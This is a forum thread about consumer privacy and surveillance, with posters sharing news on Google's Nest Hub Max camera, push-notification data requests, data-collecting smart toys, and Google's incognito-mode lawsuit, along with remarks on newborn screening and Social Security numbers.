Google’s latest smart product has some users wary, as concerns grow over the ‘spying’ abilities of internet-connected home devices.
The firm launched the successor to its Nest Hub (formerly called the Home Hub) on Tuesday, offering its Smart Display with Google Assistant and a bigger, 10-inch screen.
And, unlike those before it, the $229 Nest Hub Max has a built in camera that can recognize different faces.
Google first unveiled Nest Hub Max during its i/O conference in May, and the device is now available in the US, UK, and Australia.
Google merged its smart home products with Nest earlier this years, and subsequently rebranded devices such as the Home Hub to carry the Nest name.

https://www.prisonplanet.com/googles-newest-smart-home-device-is-always-listening-and-watching.html (https://www.prisonplanet.com/googles-newest-smart-home-device-is-always-listening-and-watching.html)
Title: Re: they know what you are doing
Post by: The Seeker on September 11, 2019, 06:32:44 pm
In this day and age it appears that no matter what your doing there should never be any expectation of 100% privacy so long as electronics are around.  >:(

Google’s newest smart home device is always listening…and WATCHING

https://www.prisonplanet.com/googles-newest-smart-home-device-is-always-listening-and-watching.html (https://www.prisonplanet.com/googles-newest-smart-home-device-is-always-listening-and-watching.html)
Nope, ain't gonna see any of that new crap in my cave  8)
Title: Re: they know what you are doing
Post by: space otter on December 07, 2023, 07:23:06 am



no shock here

Foreign Governments Spy On Google, Apple Users Through Push Notifications: Senator
Sen. Ron Wyden (D-Ore.) warned the Justice Department of the practice in a letter.


By
Paul Blumenthal
Dec 6, 2023, 06:41 PM EST


https://www.huffpost.com/entry/google-apple-push-notifications-spy_n_6570ee39e4b01a04ad91e8ec

Foreign governments are surveilling people through push notifications on Apple and Google devices, according to a letter sent to the Department of Justice by Sen. Ron Wyden (D-Ore.) on Wednesday.

In the letter, Wyden urged the DOJ to warn iPhone and Android users that foreign officials have been making requests to access push notification data from phones. Push notifications occur when a phone alerts a user of an action from an app on their device. The practice would be yet another way that foreign governments can request and obtain digital information about users from two of the largest cellphone software companies.


rest of article at link
Title: Re: they know what you are doing
Post by: kevin on December 07, 2023, 07:36:02 am


no shock here

Foreign Governments Spy On Google, Apple Users Through Push Notifications: Senator
Sen. Ron Wyden (D-Ore.) warned the Justice Department of the practice in a letter.


By
Paul Blumenthal
Dec 6, 2023, 06:41 PM EST


https://www.huffpost.com/entry/google-apple-push-notifications-spy_n_6570ee39e4b01a04ad91e8ec

Foreign governments are surveilling people through push notifications on Apple and Google devices, according to a letter sent to the Department of Justice by Sen. Ron Wyden (D-Ore.) on Wednesday.

In the letter, Wyden urged the DOJ to warn iPhone and Android users that foreign officials have been making requests to access push notification data from phones. Push notifications occur when a phone alerts a user of an action from an app on their device. The practice would be yet another way that foreign governments can request and obtain digital information about users from two of the largest cellphone software companies.


rest of article at link

https://www.youtube.com/watch?v=4eaq2Kmhqco

Kevin
Title: Re: they know what you are doing
Post by: space otter on December 09, 2023, 06:33:50 pm
  yep they're still at it


https://www.boston25news.com/news/local/consumer-watchdog-warns-some-smart-toys-put-childrens-safety-data-risk/36KYGG56S5GXNMQM7PZJDRPGHI/

Consumer watchdog warns some ‘smart toys’ put children’s safety, data at risk

By Jason Law, Boston 25 News
November 16, 2023 at 11:25 pm EST

BOSTON — A consumer advocacy group is warning parents to watch out for “smart toys” that can listen, watch, track, and collect sensitive personal data.

The Massachusetts Public Interest Research Group released its 38th annual Trouble in Toyland report and focused on the “growing threat” from toys that can spy on children.

“Anytime you have an object that you are sticking a computer inside of, it can collect data. Anytime you are hooking it up to the internet, it can then transmit that data somewhere else,” said R.J. Cross, director of MASSPIRG’s Don’t Sell My Data campaign.

Cross defines “smart toys” as toys that use cameras, microphones, or sensors and have connectivity capabilities through the internet or Bluetooth.
“This can be a problem if your child’s geo-location data is what’s leaked. That’s an immediate security concern. It can also increase the odds your family is the victim of fraud, scams, or identity theft,” Cross said.

Cross said many smart toys have unsecure Wi-Fi or Bluetooth connections. MASSPIRG also raised concerns with young children using Meta’s Quest VR headset. Quest headsets can gather a lot of data about users, and playing games often requires agreeing to different third-party companies’ data practices, the report said.

“VR headsets can also gather sensitive motion data, which can be used to infer health or demographic details about you, and there’s virtually no regulation controlling how companies or other actors use this data,” the report said.

Meta sent Boston 25 a statement Friday in response to MASSPIRG’s report.

“We are committed to creating safe, positive experiences for young people on Meta Quest 3, and have collaborated with youth safety experts to help ensure an age-appropriate experience for teens and preteens on the Quest platform. Parents must set up parent-managed Meta accounts for 10-12 year olds and they control what apps their preteen can use,” a Meta Spokesperson said in an email to Boston 25.

“We do know the worlds opening up to kids right now are not the type of environments that you would want your kids to hang out in,” said Fairplay Campaign Director David Monahan. “[MASS]PIRG and Fairplay have examined these platforms and we have found they’re fraught with risks for kids.”

MASSPIRG said there are three things parents need to do:

Understand all of the toy’s features- Is the microphone always on? Is the Wi-Fi or Bluetooth connection secure? Does it collect personal information?
Test them out yourself so you can understand how the features work
Read the privacy policy- Companies by law have to transparently and clearly ask you for permission to collect data from your child before your child begins play
“Anytime a company is gathering too much data, storing it longer than necessary, or sharing with third parties, this increases the odds your child’s information will be exposed by a breach or a hack,” Cross said.

Title: Re: they know what you are doing
Post by: ArMaP on December 10, 2023, 06:06:07 am
Now imagine someone using all that data to feed an AI based system...
Title: Re: they know what you are doing
Post by: space otter on December 10, 2023, 10:29:38 am


yeah but most of this collection is to sell you stuff ..imo

the good old gov has had your number for the last 60+ years and if you don't think they have used that infant blood sample for dna studies..welllllllllllll

https://www.wadsworth.org/programs/newborn/screening/history#:~:text=1963%20%2D%20The%20first%20mandated%20newborn,becomes%20mandatory%20in%20most%20states.

 
1958 - Robert Guthrie, a microbiologist and pediatrician at the State University of New York at Buffalo, devises a simple and inexpensive blood test which allowed screening for PKU to be done shortly after birth.
 
1960 - Robert Guthrie coordinates a 29-state pilot study of 400,000 newborns to identify newborns affected with PKU. The success of this study prompts many states to institute screening programs for PKU.
 
1963 - The first mandated newborn screening program begins in Massachusetts.
 
1965 - New York State Public Health Law 2500-a, mandates every newborn in New York be screened for PKU.
 
1966 - PKU testing becomes mandatory in most states.
 




What diseases does the PKU test for?
Phenylketonuria (PKU).

PKU is an inherited disease in which the body cannot metabolize a protein called phenylalanine. It is estimated that one in every 10,000 to 15,000 babies is born with PKU in the U.S. Without treatment, PKU can cause intellectual disability. Newborn screening for PKU is required in all 50 states.


and of course the good old ss number

Do you get a social security number as soon as your born?
Are babies given a social security number at birth?
If your child is born in a hospital, the most convenient way to apply for a Social Security number is at that hospital before you leave. When you give information for your child's birth certificate at the hospital, you'll be asked whether you want to apply for a Social Security number for your child.


Number Has Three Parts

The nine-digit SSN is composed of three parts: The first set of three digits is called the Area Number. The second set of two digits is called the Group Number. The final set of four digits is the Serial Number.

How can you tell where someone was born by their Social Security number?

https://www.ssa.gov/history/ssn/geocard.html#:~:text=Number%20Has%20Three%20Parts,digits%20is%20the%20Serial%20Number

we've been numbered and recorded since birth ..just get in line and do what you're told...sigh :o
Title: Re: they know what you are doing
Post by: ArMaP on December 10, 2023, 10:46:58 am

yeah but most of this collection is to sell you stuff ..imo
That's the most likely use, but even that can have other uses.

I don't know how things are in other countries, but in Portugal the constitution states that everyone has the right to know what data about them is stored in any computer system.
People just don't know or care about it.
Title: Re: they know what you are doing
Post by: space otter on December 30, 2023, 10:08:32 am

i don't think anyone will see any cash


https://www.huffpost.com/entry/google-settles-5-billion-privacy-lawsuit-over-tracking-people-using-incognito-mode_n_65903bade4b0cd3cf0e57701

U.S. NEWS
TECHNOLOGY
GOOGLE
INTERNET
Google Settles $5 Billion Privacy Lawsuit Over Tracking People Using 'Incognito Mode'
The class-action lawsuit filed in 2020 said Google misled users into believing that it wouldn’t track their internet activities while using incognito mode.
The Associated Press
AP logo
Dec 30, 2023, 10:54 AM EST

SAN FRANCISCO (AP) — Google has agreed to settle a $5 billion privacy lawsuit alleging that it spied on people who used the “incognito” mode in its Chrome browser — along with similar “private” modes in other browsers — to track their internet use.

The class-action lawsuit filed in 2020 said Google misled users into believing that it wouldn’t track their internet activities while using incognito mode. It argued that Google’s advertising technologies and other techniques continued to catalog details of users’ site visits and activities despite their use of supposedly “private” browsing.

Plaintiffs also charged that Google’s activities yielded an “unaccountable trove of information” about users who thought they’d taken steps to protect their privacy.

The settlement, reached Thursday, must still be approved by a federal judge. Terms weren’t disclosed, but the suit originally sought $5 billion on behalf of users; lawyers for the plaintiffs said they expect to present the court with a final settlement agreement by Feb. 24.

Google did not immediately respond to a request for comment on the settlement.
Title: Re: they know what you are doing
Post by: RUSSO on December 30, 2023, 06:09:38 pm

i don't think anyone will see any cash




Why? I thought that was exactly the jusdge suspended it. I tought they reached an agreement.

Anyways, what a dirty company. And i am not talking about the incognito mode.
Title: Re: they know what you are doing
Post by: RUSSO on December 31, 2023, 01:46:04 am
That's the most likely use, but even that can have other uses.

I don't know how things are in other countries, but in Portugal the constitution states that everyone has the right to know what data about them is stored in any computer system.
People just don't know or care about it.

https://www.youtube.com/watch?v=o66FUc61MvU
Title: Re: they know what you are doing
Post by: RUSSO on December 31, 2023, 02:44:28 am
Panopticon... Thats a funny word. I remember the first time i heard it.
Title: Re: they know what you are doing
Post by: Shasta56 on January 04, 2024, 12:54:06 pm
My cousin Sandra was born before PKU was recognized or tested for. I didn't know she existed until after she died. She had been institutionalized since very early childhood due to intellectual disability. She had a stomach full of shoelaces when she died. I keep running across things that bring up old memories like this one.